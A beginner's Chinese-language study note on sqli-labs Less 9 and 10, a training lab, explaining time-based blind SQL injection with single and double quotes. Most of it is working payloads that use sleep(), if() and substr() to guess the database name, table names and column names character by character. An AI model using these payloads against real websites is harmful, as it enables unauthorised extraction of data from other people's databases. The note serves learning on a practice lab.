小白注入学习:sqli-labs--less9-10学习记录
Less9 基于时间的单引号盲注
1.时间型盲注
代码依然存在SQL注入漏洞,但是页面不会回显数据,也不会回显错误信息。语句执行也不提示真假,不能通过页面内容判断。
通过构造语句,根据页面响应时长,来判断信息输入的信息是否正确,这就是时间盲注。结合sleep()函数,根据这里页面相应的时间判断是否能注入
//PS小白注释 sleep(N)可以让此语句持续运行N秒钟
2.判断注入类型
不管输入什么页面回显都只有You are in...考虑时间型的盲注
?id=1' and sleep(2) --+ 发现页面有明显的加载时间,说明注入成功。由此进行注入。
3.结合if()和sleep()构造payload
(1) 猜测数据库长度
?id=1' and if(length(database())=8,sleep(2),0)--+ 页面有明显的响应延迟,那么说明这条语句length(database())=8猜测正确,数据库长度为8
//PS小白注释 if(x,a,b)如果x=true 那么就执行a,否则执行b这里的if函数意思是如果数据库长度是8,那么就让这条语句持续执行2s,也就是页面延迟响应2s。
(2) 猜测数据库名
?id=1' and if(substr(database(),1,1)='s',sleep(2),0)--+
//PS小白注释 substr(a,b,c)从b位置开始截取字符串a的c长度。这句payload的意思就是如果数据库的第一位是s那就延迟响应2s,否则直接响应
以此类推一位一位猜测数据库名
?id=1' and if(substr(database(),1,8)='security',sleep(2),0)--+
说明数据库名为secruity
(3) 猜解表名,字段,以及字段内容的操作都相似,结合limit()函数从第一条数据查找,根据页面回 显判断是否正确。附上部分payload
猜表名 ?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(2),0)--+ 猜字段名 ?id=1' and if(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='u',sleep(2),0)--+
Less10 基于时间的双引号注入
与Less9相似,只需要把payload中的单引号换成双引号即可,一样的注入流程,不再赘述。
小白注入学习记录!!